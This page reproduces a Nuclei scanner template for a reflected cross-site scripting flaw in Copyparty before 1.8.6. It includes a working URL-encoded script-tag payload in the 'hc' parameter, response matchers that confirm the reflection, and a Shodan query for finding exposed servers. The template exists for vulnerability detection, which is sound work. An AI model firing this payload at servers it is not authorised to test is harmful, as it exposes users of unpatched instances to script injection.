copyparty-xss: Copyparty v1.8.6 - Cross-Site Scripting

2025-08-01 Copyparty v1.8.6 PoC Public

Description

Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack. The vulnerability in the application's web interface could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.

PoC

id: copyparty-xss

info:
  name: Copyparty v1.8.6 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack. The vulnerability in the application's web interface could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/9001/copyparty/security/advisories/GHSA-cw7j-v52w-fp5r
  classification:
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"copyparty"
  tags: copyparty,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?hc=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a href="/"><script>alert(document.domain)</script>'
          - 'choose your OS'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206d364b892f6efdf14378c29ec6f1f563f3dd359c71cb2879752b4ad1e6fbf9890221008b060dd185d7cb6dd85203acb2bc45402f876f2f1ba8b24d5696c541e3863676:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/copyparty-xss.yaml

References

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